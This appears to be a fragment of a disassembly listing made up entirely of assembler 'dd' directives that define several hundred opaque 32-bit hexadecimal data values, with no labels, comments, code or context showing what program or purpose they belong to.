		dd 91436BE0h, 20EA6B4h,	1F55268Eh, 0AD28DC57h, 752710DCh
		dd 5AD5D400h, 0ED748058h, 0FA406CEh, 0B0C50EDDh, 935E9E7Fh
		dd 56A409Dh, 0DC4ED134h, 9F2D50BDh, 0A924A971h,	813C583Fh
		dd 72D437C1h, 4671E62Eh, 73E90C86h, 1D66B023h, 2445F668h
		dd 74ABC1Dh, 0E616AA6Dh, 0C568105Dh, 65108A0Eh,	0E15ED158h
		dd 29AA3A77h, 71B46BB7h
		dd 0F799AA4Fh, 87C16443h, 0F3CCE368h, 6CAE4ACCh, 6B26E9EDh
		dd 888E65B5h, 0FDF449EEh, 0B4AC066Eh, 801960B7h, 205217F4h
		dd 208999E5h, 883062FBh, 96E93BEAh, 0B760C0CAh,	66F9208Ch
		dd 28E9195h, 5CAAA02Ah,	7C817D40h, 762D71E2h, 7FEA3863h
		dd 0BE210513h, 216F2299h, 6E8947D6h, 11646261h,	0A7C28100h
		dd 6909F819h, 0E6111262h, 210C30D0h, 0AAB29FF6h, 0AE27B905h
		dd 13BAAC17h, 77E6C139h, 517DC25Bh, 3594EB06h, 14E92Dh
		dd 20DEBB82h, 0B16E4EB1h, 84A1306Ah, 0BCB7C82Eh, 0E9B02D28h
		dd 0C295F060h, 5A19E8F2h, 938EAC0Dh, 5BB682EEh,	76C68EAh
		dd 1B59C7F2h, 30D0377Bh, 0B6E3DF9Bh, 0AD133DF1h, 26D6E558h
		dd 0BFD1E5E4h, 0E0EDBD29h, 0BFA1172Eh, 0BE2FA27Dh, 0F75BFB3Ch
		dd 0FB684284h, 0F261EA40h, 3D2F8A78h, 5063FC41h, 14EA6997h
		dd 9F2D2434h, 84202E56h, 8225C09Ch, 4755ADBh, 308BFC5Eh
		dd 6CB7A351h, 0C41E4ECEh, 0B20712CFh, 0FAFC438h, 19F1FB90h
		dd 0A545E5EBh, 11E52FBh, 434A57EBh, 0A86A036Dh,	5EE97D6Ch
		dd 59BF02A4h, 3257CD31h, 2CB9F0D6h, 92F47BE9h, 0E6AD0753h
		dd 0C2F53751h, 24FEEBF0h, 5A390C63h, 0AA2AB091h, 0E34B7BF9h
		dd 88885EA1h, 0C7B64258h, 3E060AE8h, 14F248AFh,	224807EDh
		dd 19643F25h, 84BE1FF0h, 0C5BBC796h, 54918214h,	7D680D00h
		dd 6E16489Ah, 3712D504h, 7BD0FA3Fh, 509862EDh, 14F68641h
		dd 0AB601D74h, 7B6F147Fh, 187A8C59h, 18369410h,	9E262A7Fh
		dd 0F90FCF28h, 0E98821C6h, 5A0291D0h, 54C2E0FEh, 9FCE7729h
		dd 3E9AC8h, 27685650h, 5EEA1032h, 0C35E5DFAh, 7225F8B2h
		dd 9DC2B648h, 1BF51517h, 5DA97707h, 2713133Fh, 7DB72205h
		dd 78105FBh, 8909C1A0h,	22FA2AF7h, 8F5EE116h, 580BE72Ch
		dd 8BDC5160h, 385947D3h, 0EB52AE93h, 9934B7BEh,	892EAA66h
		dd 0D4B29782h, 0E6FE7E65h, 0DA341048h, 413B3C62h, 80911C57h
		dd 274B5696h, 43A840C0h, 8CFC2708h, 9089D527h, 88C2FFFh
		dd 3431114Ch, 3380EFE7h, 5C5747C4h, 0BB028311h,	3DBA321Fh
		dd 524B7C55h, 5D49FE74h, 0E9612871h, 0F1A5DF90h, 539388D4h
		dd 0EAB365AEh, 0D8ACDE82h, 1EF7951Fh, 86C2F2BDh, 4BC0A644h
		dd 18C0BBECh, 80FC28C5h, 0E54BCEE9h, 0EFB09CAEh, 0D7990548h
		dd 17E61D46h, 294B016h,	0EA80C2FEh, 0C17628D4h,	16C3F15Bh
		dd 1E610B3Ah, 62902C70h, 1B2AA82Ch, 266A9D82h, 5F05CA72h
		dd 0B20A4FCh, 8931E925h, 28D25BBAh, 2531B4FAh, 8B6A475Dh
		dd 2ED93FC1h, 770E5289h, 12BD0B79h, 0E2BF649Eh,	79EBD3E5h
		dd 0C765AC12h, 0A240AE10h, 2F88419Fh, 0D3CCCAFCh, 0C45E9E2Bh
		dd 97BD49DCh, 0FCE9F048h, 21EFDD4Eh, 46A3453h, 40B915E0h
		dd 557E5D0Eh, 1D359524h, 3265EF9Eh, 8907711Fh, 81186C56h
		dd 7A5B8E68h, 692FC8B3h, 0F1A9F58Fh, 38E6E677h,	0FF4E203Dh
		dd 625EA8CBh, 9D55D72h,	0C2AE5E36h, 947DA6ABh, 3C302015h
		dd 87D7F700h, 72CE81FEh, 65B03F56h, 0EB3EFD92h,	0D501B631h
		dd 774A8B7Ah, 4599DC9h,	0EE169298h, 55A26209h, 544554E5h
		dd 0E91721A9h, 88E9C1DEh, 0C4509DCAh, 5B70A82Dh, 5A439219h
		dd 0B403DFD8h, 61085A0h, 0EE17C14Eh, 0D5FA053Eh, 63EF024Bh
		dd 0A1634B1Dh, 0E61794F8h, 0DBD16139h, 0CCAA5A04h, 316863CCh
		dd 9DDF5387h, 0D14D807Fh, 0C158F181h, 59D77DDCh, 0BF02FC4Bh
		dd 3107EE06h, 9BAF6377h, 0DEEDF9F3h, 0E2CDFF81h, 0D8697430h
		dd 701635F5h, 70090811h, 131804C6h, 2399D1FFh, 0CC778949h
		dd 60817C0Bh, 4E6A4248h, 40DF40BFh, 4BF938E9h, 0FD39AE5Ah
		dd 977CB2Fh, 0E695FAE9h, 225F9704h, 90D955A0h, 0A69E7D6h
		dd 0F7011FECh, 0C00820D8h, 55E781Ch, 0A95DE979h, 3F5A2C5Ch
		dd 1F4C2E08h, 0C70654C1h, 45497205h, 74378260h,	0DED58802h
		dd 0D8BE3A21h, 0E4205016h, 3002F5C1h, 0B1685BDAh, 0D37D4612h
		dd 0B78B0B34h, 0C5021AABh, 9DC003C4h, 0FC826721h, 0ED3E89B6h
		dd 7669E932h, 2D722463h, 28AFEF09h, 908A7DB5h, 8F824B3Fh
		dd 0F975D121h, 96681FB4h, 8A38AF1Fh, 0E85B4FDEh, 8010F4C0h
		dd 602F27E0h, 13ABBD98h, 0EF5BAC45h, 53EFD1C0h,	28762A09h
		dd 8C750B0h, 841D9B5Eh,	0BBA1C2E9h, 528564A8h, 0F9F1AFBAh
		dd 32CAC6Eh, 666CB8C6h,	0E99A0B4Eh, 0B9103EAFh,	0F582C8A4h
		dd 56B5B0D0h, 98057B95h, 6C63DC5h, 5D1C9018h, 0C090361h
		dd 845AAA05h, 81BE50FFh, 0A2ABBD38h, 12ECA38Dh,	480CBE9h
		dd 0F72B151h, 0C03AC980h, 688AC092h, 1B31440h, 9DE09C1Fh
		dd 0B787B7E9h, 0F58BA622h, 90758862h, 818502CDh, 0A0C83F88h
		dd 415E4E89h, 1203B760h, 7B57B29h, 0B0C0806h, 2276601Fh
		dd 0B52F83D2h, 0A8FFF137h, 251CBE8Eh, 276FBC5Fh, 0CC042BE9h
		dd 9228B256h, 4B1A62EFh, 0C5813874h, 593E3B47h,	0DF25F428h
		dd 0D6A7CC2h, 42EE53DDh, 0EB781BE9h, 3FCEB905h,	27AC6C27h
		dd 24DECA4h, 1718417Eh,	0F9E0805Bh, 17631056h, 27873FE9h
		dd 0F24FE027h, 0E84C8365h, 737C2596h, 0A9040897h, 5DF94F16h
		dd 0D26C7E1Dh, 14F094Ch, 85B9F3D6h, 0B1E96F35h,	84EF82D5h
		dd 0C3CBE809h, 0E9F6B951h, 0AF3B48A6h, 53263900h, 0F02579C3h
		dd 6360012Fh, 0C5503B0Dh, 2AE8FF46h, 2175FBA8h,	62A8585Ah
		dd 51495A3Eh, 7327CE01h, 30462693h, 50073FE3h, 11E90C78h
		dd 64317FF9h, 0ADCCCE82h, 0D772E425h, 0BB72EA16h, 47454A13h
		dd 0C1506AE0h, 0F65608B8h, 15EF6048h, 0D73CB66Eh, 0F78134B2h
		dd 6865E9D6h, 0D4BE004Eh, 8157B03Dh, 38A800F6h,	0F0295A6Ah
		dd 35BE62E9h, 64D3040Bh, 0B46E90FEh, 0C75D2525h, 645525D9h
		dd 2F52416Dh, 47685E05h, 0BBB544EBh, 20410E86h,	1E7DBF57h
		dd 816B0E14h, 9DFC93CFh, 0C0F7814Bh, 8322B209h,	0A2346118h
		dd 0A0C0B36h, 5000AD4Fh, 1340D6C7h, 78304D61h, 576A2B33h
		dd 0BEAE8481h, 52324F12h, 6E895D72h, 626879DFh,	14F70868h
		dd 69144231h, 0DE44FF1Fh, 0D9685200h, 0E9419866h, 0E3EB5BE8h
		dd 24E94A9Ch, 0A8251917h, 0ED85E14Fh, 386B366Ah, 0FFA754CBh
		dd 0DEE3041Bh, 0E743F2F2h, 7B7BE4E5h, 58475062h, 0E72F308h
		dd 0AB166A91h, 0E909D39Ah, 562D195Eh, 0A4BC2E64h, 6E33754Ch
		dd 0F0B1464Eh, 0FE0C818Eh, 0C1C580CDh, 0FA6BF5CCh, 16329EA1h
		dd 6B12EE29h, 8230F6AEh, 79052B68h, 0CDE9E264h,	16F48C6Ah
		dd 44945725h, 68054DBCh, 99AC528Ch, 0ED2A8BC4h,	0A7D618B2h
		dd 3D432D47h, 0E4CF7C78h, 106101DCh, 19126829h,	985F9230h
		dd 3F1F0031h, 3540419Ch, 3801470Ah, 90092D69h, 1D64C2E1h
		dd 5FFD2E89h, 29800288h, 0DAFD366Ch, 6A600FAFh,	0DA8F6277h
		dd 0C108E81Eh, 0E828B31Ch, 7718AF5Ch, 0A2713209h, 0A072C62h
		dd 756E0163h, 0F15018EAh, 73276C78h, 35034309h,	0DFD8474h
		dd 487CAC92h, 825998B5h, 5E44E0F4h, 0DC1855F8h,	58686241h
		dd 43D81B4Bh, 1D9855h, 452D7CC3h, 0E9F799BDh, 8EBC904Fh
		dd 46A2680Bh, 9F6AB455h, 0FF7242F6h, 0AA826951h, 5D320807h
		dd 0DF2AAE8h, 19432C02h, 0D527E5E9h, 449089CEh,	4268F00Bh
		dd 10E35775h, 0A0E0387Bh, 0D99D787Eh, 0D4D42F6Ah, 70A16858h
		dd 1C77955Bh, 0B204A1E5h, 4C33413Fh, 7F4E853Ch,	816E794h
		dd 36D539CDh, 0E9750502h, 26EC5625h, 9FDC96E7h,	0BA052095h
		dd 10394A18h, 38C2EBE0h, 1D845A74h, 0A96512E9h,	5EAB0997h
		dd 5FE0ABB0h, 82E0483h
		dd 0EB873798h, 8D5F736h, 52890CA0h, 1A0C6E45h, 8C31513Eh
		dd 0E32C49E9h, 9A5DEEFEh, 0E1594F58h, 3AB646Eh,	0C0C8935Bh
		dd 7D71BD51h, 5A320562h, 56EEC5D2h, 40AA3954h, 0BF31C292h
		dd 1AE92F18h, 53DE68CBh, 0B21FB50Ah, 0BD2C84Fh,	1E0A5627h
		dd 0CEAC4951h, 3F450E5Ch, 2D7CD6ECh, 0FCDE05B3h, 0B52D5CE0h
		dd 54722508h, 782F878h,	30C15580h, 0DA943C58h, 86E18100h
		dd 0F07E341Fh, 0EC1841D4h, 214C13EDh, 220C67A2h, 7F60C9F2h
		dd 16429860h, 0BF766EBDh, 6F2AD37Ah, 0D19F6712h, 0EA9EBC0Bh
		dd 845AECE9h, 0EFF02858h, 0EDD751CBh, 8C998432h, 54E1F6CDh
		dd 0C174EAE6h, 0CB4BF4Ch, 0F244C242h, 4461FC55h, 2AEFA51Dh
		dd 2E0521E8h, 6DEB36h, 0BE629CCFh, 0C1174069h, 81EB05E8h
		dd 3E1DD3E1h, 0A86BF9CDh, 75F65A3Bh, 0A2494858h, 9A00CC5Fh
		dd 2D94413h, 0C32A81AEh, 4613A6A0h, 64C4512Dh, 0DCE0FEC3h
		dd 9F7FEA68h, 6E414918h, 8F80B84Eh, 4ED5646Fh, 8C8CB173h
		dd 0BDFF707h, 98BA0252h, 0D142EF26h, 0ECBD5360h, 593C2000h
		dd 4ECBCD81h, 0E10D5EB7h, 88F4F7B9h, 5F4AFA7Fh,	6E0E48AAh
		dd 5AB7C620h, 0AF5B5A93h, 50CA7C09h, 0AF5C4BFCh, 7D46FD62h
		dd 0EF75060Bh, 0B7532FF2h, 2FCE5C27h, 8170EE76h, 46D995EFh
		dd 5B6C053Bh, 5EC40DC5h, 2D589AFDh, 0E794EA20h,	0D2085317h
		dd 0CD702FE0h, 896E59BDh, 2E162948h, 1EA06120h,	15C8215Eh
		dd 0CA5A81B5h, 0CA680999h, 0C0761A33h, 2C280BC1h, 1A407BF3h
		dd 0A92B0D0Fh, 6F17C2D7h, 2AF62CEFh, 2F51B797h,	48EA8085h
		dd 668002AFh, 9760A868h, 0C69F27B7h, 981A2024h,	0BBA50FCh
		dd 3958710Ch, 9ACC2E40h, 0BDB96952h, 60172054h,	9A207664h
		dd 0EE5890BBh, 0F7E91226h, 0B6A061C1h, 103339F9h, 5E2AC2A3h
		dd 736818EFh, 9E035D47h, 1209BF80h, 1354237Eh, 31E2A14Bh
		dd 4F403061h, 0C7ECA09Dh, 4CA28549h, 5F3FC635h,	4D1A94Ah
		dd 1FCB3E4Dh, 0A9C23080h, 0C4984F42h, 0DBBFE9E9h, 76AE02Eh
		dd 0D0F3FC6Dh, 1C600832h, 698458F0h, 20FB5E7Fh,	7C172A87h
		dd 4700282Eh, 333C0DC1h, 0E9EB1729h, 4D724E52h,	0FF3B86C4h
		dd 0CF583140h, 0B63156C6h, 4FF309FFh, 0FE161977h, 0FE5204E6h
		dd 880E5CB2h, 0F073407Fh, 554AE98Eh, 0FAB71717h, 10FEA65Ah
		dd 8F419FA1h, 7B1CAC6Eh, 7F86D75Bh, 5C60BC0h, 0ADDE498Bh
		dd 7FF0209Ch, 4FFEA1B6h, 8FD6BAC6h, 888A7720h, 4C627068h
		dd 0D91F6469h, 48F201ECh, 6A5B2024h, 680B399Bh,	0B4FD56EFh
		dd 0BAE92647h, 2069A5C3h, 3B2C650Ah, 0CA358D87h, 0BE9DE60h
		dd 410ABCC0h, 9E312768h, 3B600D4Bh, 3095DDF6h, 0D0489925h
		dd 3E56A94Fh, 1E6F925Dh, 14786754h, 819F549Dh, 0BBC5626h
		dd 3A0920h, 2970346Fh, 491FE9FBh, 776F12B7h, 683E41ECh
		dd 8B856EBFh, 0E76F6850h, 61F9BCB3h, 2831D868h,	0B818C6A5h
		dd 0A0BD1E20h, 13B850Eh, 1619B9EBh, 8042E157h, 0D5634968h
		dd 0F22DB06Ch, 25D89497h, 9A660ABFh, 8876FEBFh,	2E283280h
		dd 0DEB74E90h, 0FA5A120Bh, 0AB124A65h, 76E93930h, 6F759444h
		dd 0B550B829h, 723E5EBDh, 6AF1AE41h, 7362A68Dh,	4086B840h
		dd 8500B919h, 810E1A07h, 2D315DC9h, 0DFD2625Fh,	0AC3C78DEh
		dd 30004F78h, 31B5DD2Eh, 5C1998D1h, 0F803D3Bh, 5F064D7Ah
		dd 59B744AEh, 48DBA0C0h, 0CA203755h, 0ED99CAA0h, 4CE2B0ABh
		dd 4B7C6A78h, 0F11A1C2Dh, 90EBBFACh, 106F4277h,	0D637C0B5h
		dd 0D671E5Dh, 497CD35h,	0BBC0FAAEh, 70E2685Dh, 1C779761h
		dd 0A322BDD8h, 1DF43DEBh, 0E20C57AFh, 4102B20Ch, 0CEE96819h
		dd 0FC13D733h, 81A19BC1h, 7388EF71h, 98ED45DFh,	0BFA0127Ah
		dd 0C1D21DA2h, 2E1F7054h, 5FDE7069h, 67EAFD5Ch,	5FFA4609h
		dd 744963F1h, 0B80B17BBh, 202212B3h, 429660FEh,	47764941h
		dd 9240F305h, 5AE67A4h,	98FCBC1Bh, 8655719h, 0FB10E099h
		dd 1CB41398h, 2C2E7B0h,	0E9403549h, 87003B7Ah, 0DED1F7CEh
		dd 5B9FC908h, 2B7B75h, 430A6853h, 0D3FF169Eh, 2A118479h
		dd 7138516Eh, 0DCAAADC1h, 0A4443A0h, 9AB81603h,	0D1A9947Bh
		dd 0B32B33BBh, 366D1328h, 975329FBh, 45BAC30Eh,	0BF56E9ECh
		dd 34AEB585h, 80DBA2ACh, 7BF26857h, 0E9490BD9h,	97723D05h
		dd 259EC950h, 104258h, 1D150FC8h, 9D1909E9h, 7FB26B27h
		dd 76104498h, 0F1BC6BE1h, 0A9F6FFA4h, 4B780725h, 0D64DB812h
		dd 78E1C200h, 77289816h, 5686C241h, 6BF422CEh, 0F78A0A05h
		dd 0B2B609EBh, 5D947450h, 55E755Ah, 0AED329E9h,	0EAB81293h
		dd 664E88F5h, 26681140h, 0C32A1A3Ah, 101E16DEh,	1056486h
		dd 612D4F6h, 2F59E546h,	74C1243Dh, 57F6979h, 6BFCE653h
		dd 0D49F01A4h, 420F6503h, 91C3088Bh, 369881C3h,	1A90407Dh
		dd 53964F8h, 0F2C05F20h, 0B504DFDDh, 0EA707C5Ah, 0B07EE495h
		dd 5804E3AFh, 3C5D32B3h, 0E8A01F7Ch, 0D35B289Ch, 56DF33C0h
		dd 0BC6A5A2Dh, 910616B5h, 0D688F39Dh, 0BE009401h, 683553B0h
		dd 23F60381h, 4E52D622h, 626DE6B8h, 3E79DC26h, 73302F06h
		dd 2594ECC4h, 6476B0CDh, 5DE68269h, 506DE032h, 2FE91257h
		dd 7797B982h, 1A82264Ah, 0C6C0E04Fh, 1EFC2D0Ch,	5305F4A0h
		dd 68164901h, 91CC0AA8h, 0F47A2E31h, 5EFA173Ch,	0E2C857EDh
		dd 2B548462h, 3D9B6803h, 0BAD01515h, 0A879C199h, 0A02E1B30h
		dd 8D4EE924h, 0E229C00Bh, 0CC907F88h, 0C8BD62A4h, 0CF2CEB45h
		dd 0F0A05B0Ch, 7CF5355Eh, 0E22DDB28h, 34413D08h, 0CBE124Eh
		dd 51858D4h, 4221350Fh,	0D1C9A01h, 14171C08h, 0E72720EAh
		dd 2EE905E3h, 0ACDA2107h, 823B3812h, 0CC721A68h, 7C6B20FCh
		dd 72BB544Eh, 0BEC6501Bh, 206A1B25h, 14305429h,	0F0F09D21h
		dd 74BE8FCh, 0E2E7D7ECh, 967A7D38h, 5384942Dh, 0CB298901h
		dd 62D459D7h, 1B522E53h, 0F53DA201h, 0DA70BB2Ch, 9531D030h
		dd 0FF6B80F9h, 266B5C0Fh, 0D452BC76h, 171227FBh, 653B0BDDh
		dd 30780B2h, 2DE96D33h,	27DC2EE3h, 39051D66h, 0F8010E5Ah
		dd 380E2DEDh, 8414D92Bh, 0D8222DF3h, 8041235Eh,	0E1CC0FC1h
		dd 9582F610h, 12BF85EEh, 655C55C1h, 0C810FB00h,	0BAA1E946h
		dd 0C7891217h, 831358h,	59AFE764h, 560021DEh, 3A4237BEh
		dd 30F73163h, 0BE9D5E9h, 85180FDBh, 50109AB0h, 82204D68h
		dd 0C2290993h, 0CF2040E4h, 82BD0416h, 0AB75394Eh, 9860D9A2h
		dd 47902C7Ch, 972378B5h, 0D2201A96h, 0EEB0F253h, 64E14EC7h
		dd 0F2B4D1ADh, 0C61E0430h, 48D0F7C7h, 3502E060h, 538E00D8h
		dd 0E9C629B2h, 0D59724DBh, 2E2E3619h, 0BCE3BF12h, 0F8C9E9C3h
		dd 0F7F23507h, 5B4E31D6h, 3ACCF909h, 0A0101466h, 8F91D25Ch
		dd 8005E4FFh, 0D6AEA60h, 15A800Dh, 806F0FAh, 81F040Ch
		dd 0C2534B43h, 0A25D4806h, 0DD3109D1h, 698BA7C0h, 1F99449Ch
		dd 0E03FF759h, 270FB651h, 2091452h, 40EAC15Bh, 51FE24Eh
		dd 0E92C1D75h, 5AA9F0B7h, 0F7E75F4Bh, 21708951h, 7D370CBAh
		dd 6444EE5h, 4260E998h,	3BF28166h, 30603057h, 7C87E961h
		dd 2CB45D97h, 0C9ADE918h, 2FACB522h, 64F6EF30h,	8BFB989Ch
		dd 45F828D6h, 0E8D03D08h, 69E92713h, 2E53AFC1h,	95A0B5E8h
		dd 5E50CF60h, 0A00BF2A1h, 7C0ADA43h, 0DBF70B94h, 23396180h
		dd 71905415h, 0EC51431Dh, 25A15254h, 4BA511Bh, 9011B56Bh
		dd 2DD8F71Eh, 7E68D701h, 2F04E97Dh, 9D88F534h, 19B14A98h
		dd 0E9D1F605h, 0C8FFA7E6h
		dd 559C4BFFh, 5209450Eh, 0A8F37801h, 0B538B752h, 0A8468A24h
		dd 4D730FDAh, 80F24F26h, 727CC75Fh, 4584A24h, 0A05FDB09h
		dd 4E94689Bh, 15554D49h, 3F0CB896h, 0B6B193EFh,	0CAC11400h
		dd 0E2019355h, 837FB8F9h, 0ABC8AA08h, 4D0A00F2h, 0FD18661Fh
		dd 4E30AE75h, 0D9059DA0h, 2D3CB943h, 0F3E0005Bh, 1057BACAh
		dd 0B0D90175h, 0B602E983h, 14B84455h, 0AD541854h, 7FB753EDh
		dd 0D0564AF5h, 942BC4F1h, 3790644Eh, 616217A2h,	7595B640h
		dd 0BA9FB24h, 56C51003h, 994F0B18h, 0EC89E801h,	0DA1AA55Fh
		dd 1C30EF00h, 48C14D70h, 0CE007FEEh, 218464F3h,	0C9B765E9h
		dd 79DCE569h, 5364BD46h, 0B0886424h, 0FEFA9239h, 0D12F81FAh
		dd 429683E1h, 166837Bh,	0BEB3B80Ch, 7B5E5156h, 75874B21h
		dd 0A166AB07h, 9D945161h, 89C80F17h, 495E30F1h,	13B6C9DCh
		dd 0D2C78C4Fh, 75FD3282h, 0D5129B79h, 685A3DC0h, 0A14CBF5Ch
		dd 0D4342827h, 48D7E91Eh, 9D405044h, 54577A1Ah,	74E9D847h
		dd 6634364Ah, 5F525CE0h, 0AA38566Ch, 0D4298CC2h, 4810096Fh
		dd 0B04BAEF2h, 9D756BFDh, 73AD6559h, 33E98BD1h,	3C9873E8h
		dd 89460C0Bh, 0FF85FDD6h, 8F33EF4Fh, 0C8CA4A80h, 0E65E88D1h
		dd 0E5C57B33h, 6ED699BBh, 13158A80h, 0A0099E56h, 0EE91808h
		dd 0E5BF30B9h, 0D363E1Eh, 104B4A8Bh, 2A08AD45h,	0F2FA8891h
		dd 21E409C9h, 0A7FC7161h, 41D87BCh, 0DC8318C0h,	0F23B014Fh
		dd 688B38DBh, 82CABC09h, 0C93D15F6h, 0DC80801Bh, 2725C74Dh
		dd 9E89F4E9h, 68F72B09h, 4D286815h, 0A910925Fh,	0FF593D4Ah
		dd 0CF262F5Ch, 16133E52h, 51AD3A60h, 0B2A924B5h, 59EA050Eh
		dd 4F2DA628h, 3049B180h, 615782FAh, 0C212D01Bh,	7EAC000h
		dd 3BB33B53h, 0E3E2EB31h, 29E74302h, 209C0616h,	0AE1847F8h
		dd 3B74B5C8h, 61C9CCB7h, 0B1830698h, 88F9C122h,	27FBA830h
		dd 0D202CB5Dh, 306A4813h, 515235D8h, 0BFCFA056h, 5C073603h
		dd 44FA2925h, 7E81ED2Ah, 0B0781DEBh, 3C78182h, 7F40AE4Fh
		dd 813C2D4h, 0FAE004AEh, 0C1410FB2h, 6A08F2E1h,	9C13C70h
		dd 32934D7Dh, 4095E000h, 895F1EDCh, 725068E9h, 8F67129Eh
		dd 8E03E966h, 833E899Fh, 2B1070Ch, 4099BB5Ch, 527D4446h
		dd 87211695h, 5736217Ah, 31D7F08Ch, 0E3E9DA0Bh,	20B29D1h
		dd 4A488E57h, 20E172F3h, 0EAC1A08Fh, 64B142DEh,	41295A20h
		dd 0F83FD471h, 2D5F4998h, 0FF4963F9h, 0F519A897h, 4F4992EFh
		dd 5374A1FDh, 0DBC07168h, 67E92D11h, 8F66E040h,	670CE0CCh
		dd 1E460AB9h, 19C628Bh,	0F9341CA2h, 1B916049h, 714CE2E2h
		dd 46DA076Ah, 0C1323EA0h, 0F69240E6h, 243718B8h, 6D5F0C1Eh
		dd 508A1127h, 0ADD2C4A8h, 6A091363h, 68682277h,	68125CBBh
		dd 0D6400C5h, 0EBC144DBh, 0D0D10239h, 0A102C5ABh, 0DEE9091Dh
		dd 28D8D14Dh, 0F9144EBEh, 215B81ACh, 186B5635h,	0F44D109Eh
		dd 0D0317A17h, 0B35827F8h, 0E96A2D04h, 0F9D1E4E5h, 9CB3664Dh
		dd 0E25BB290h, 0CC13241Fh, 0DDED8189h, 4E84E829h, 0C68005AEh
		dd 8B36B181h, 33B12D00h, 35186C01h, 0AD78C04Bh,	0B8C6C16Bh
		dd 0C7FF8815h, 2C123D1Eh, 2060F5E2h, 143E06ABh,	2AB3192Eh
		dd 0BDDCE3EFh, 0E55DC23Eh, 5DD6F09h, 0DC0D52Ch,	0BC28106h
		dd 5B200250h, 73E2D790h, 0AD252428h, 0B9C0E41Fh, 4D092992h
		dd 11F4A74h, 0E235589Ch, 974AD1C0h, 0EA12BDFEh,	5FADD85Fh
		dd 1C4BD414h, 0AE7556EFh, 895DCD42h, 7AF6D0F7h,	6EE82697h
		dd 0AADC27C6h, 8DDDCADh, 5627A749h, 0A684CF60h,	5E86141Fh
		dd 0FE4453ADh, 13F42F67h, 89347FD3h, 41BCFDD5h,	4F70A6D6h
		dd 0EA4A12FAh, 78518AF5h, 0EA6D45A4h, 497BF4Bh,	5F01C9CFh
		dd 498C9EFBh, 30780B0Bh, 0F321FEF6h, 4E4CC42Dh,	4483074Dh
		dd 0F760375Ah, 9FF252E4h, 12F31A01h, 1805FBB2h,	4F595441h
		dd 0A960FF82h, 3A2457ADh, 62CAAC7h, 3B651231h, 0F300EE13h
		dd 534727D2h, 29596D1h,	0CD8F9C64h, 581738F6h, 0F7D262BBh
		dd 87513E56h, 0A39AE83Eh, 5ED53B0Eh, 0A788CB25h, 9840BC8h
		dd 51047CC6h, 0CF8811B1h, 9CFCF0C2h, 0AC3258E2h, 0EE3EF783h
		dd 8952EC0Eh, 2D8257FAh, 637F4A75h, 0F67CF951h,	0AA5D566Bh
		dd 1F56F161h, 0C0DF2902h, 5C08684Bh, 9C19E4DCh,	0FBED65D3h
		dd 6E25C8F9h, 5D16F1EDh, 0F42EBE51h, 6CD9840h, 0BD6FBF6Ah
		dd 0E92D0BC9h, 0A256E215h, 88F57F15h, 8D3CF38Fh, 902A344Ch
		dd 74B4AD6Bh, 0C1913860h, 7B56C503h, 17BE4DC3h,	0C468AC05h
		dd 0B7E98C60h, 80D7F6C1h, 0B96EDE7h, 951009F7h,	76BF69D0h
		dd 0CE1439Eh, 8BC7C53Ah, 0F87AF526h, 969924E5h,	0E0ED0005h
		dd 292FF02Dh, 0C551FD7Eh, 0F7E86E08h, 5017DCB1h, 52B568ECh
		dd 0E4744DAAh, 0E67F0400h, 4172E967h, 0CDBD3F07h, 0B9CA179Eh
		dd 0E2F78B1Eh, 0F35B5592h, 4620550Bh, 822EFA16h, 7E7B2D57h
		dd 93A4B06Fh, 88FFC64Ah, 0F45B74F7h, 0A54F8DCEh, 3930ED62h
		dd 57C225ACh, 82F7FCE2h, 702C1FCh, 0E11E6442h, 89F62EE2h
		dd 9325E9C4h, 69B2687Dh, 21621FF6h, 0A97809A4h,	0F845BF12h
		dd 0AEDF85EAh, 0E6BA0152h, 127FD01Ch, 0B2BECB6Ah, 27FCD387h
		dd 0CDF5B1h, 0B80D5F6h,	0E83016EDh, 0C3E58B74h,	106473F3h
		dd 0FCFDBE50h, 0A38DA04Eh, 9E477140h, 9A38BAFBh, 0EA960F97h
		dd 0BBEA7181h, 43C5FD6Ch, 90DEBC0Eh, 13B20C8h, 55597FBEh
		dd 32F30142h, 9DE9C732h, 0D45329EBh, 0D605A5F9h, 1DB9F8FBh
		dd 0D9F95756h, 0A2492C20h, 63F29A17h, 0B20842D3h, 0DEC3889Fh
		dd 53223629h, 3B3C6D0Ch, 120AFAC7h, 0AC291FE5h,	5A084076h
		dd 0D9212AE3h, 0EF042D13h, 9ED58A0h, 9C1A6EE2h,	19122300h
		dd 0BFA12F18h, 0C65B812Ah, 2E9F7320h, 4158AC2Ah, 60276108h
		dd 0A8C522D6h, 0A408F1B1h, 0DD010B1Bh, 42ED3681h, 0CDC2C75Bh
		dd 0CBE07C5Dh, 273F9ED5h, 255ED4E9h, 70BFDC27h,	54650AE9h
		dd 0DF0AFD67h, 8889CFDEh, 1431D8E6h, 0E41C045Ah, 0E5A02C25h
		dd 737B7597h, 8D936CC2h, 82CC62B3h, 0FDC62965h,	0D09F7414h
		dd 98B52E9Fh, 0F85F6515h, 8D2E3F09h, 80E96B50h,	0DEBB2083h
		dd 0C0171B4Fh, 0F259268h, 669C50EEh, 0DE04BE5Fh, 28EB08F8h
		dd 4A5B6822h, 503AE4Fh,	0D8AD7007h, 5D2A138Ch, 2A4674B5h
		dd 2C557EECh, 0C0593E48h, 0EA629A68h, 11201D90h, 0A73A9575h
		dd 0F371158Bh, 43E6F40Dh, 941F47D8h, 0A2F54BD7h, 0F2BB46Bh
		dd 0E794BB7Dh, 62812B6Fh, 7D7C6347h, 86C30352h,	11E2528h
		dd 0A7A5ED0Ch, 7ED82143h, 0BEB4F5A2h, 6812E2E9h, 735DF4E6h
		dd 975EA440h, 0BD9F96F7h, 20425654h, 0BD5FC0F2h, 41771646h
		dd 7010004Bh, 9EF28E8h,	0E940D4C1h, 496FF8AFh, 0FD844E65h
		dd 0BD680233h, 79B05624h, 4BBB415Fh, 731224Fh, 37465E74h
		dd 76D55DB3h, 4314B53h,	0E3CC882Fh, 0BD803953h,	0E9E78537h
		dd 9DAE2386h, 7043EEEDh, 9FBB3A4Ah, 0B850019Dh,	4A656B72h
		dd 7CE0802Eh, 291E4742h, 76D2E9C8h, 0F4EEB090h,	78D12F4Ch
		dd 1795F7C3h, 0B1F5E808h, 3B8B80A7h, 0C6767568h, 56505560h
		dd 9A6C70E9h, 57451F8Dh, 664E9818h, 5B301989h, 3DB70C0Fh
		dd 0CFC48BDh, 0BE27E93Fh, 2EC520C9h, 0DF09FB5Fh, 44595792h
		dd 62746850h, 3872A173h, 886EE556h, 2A62271Eh, 0F4BEBF02h
		dd 0BEE510Bh, 54FC499Ah, 0EDD04CBh, 59F0BE12h, 0AE17BEA6h
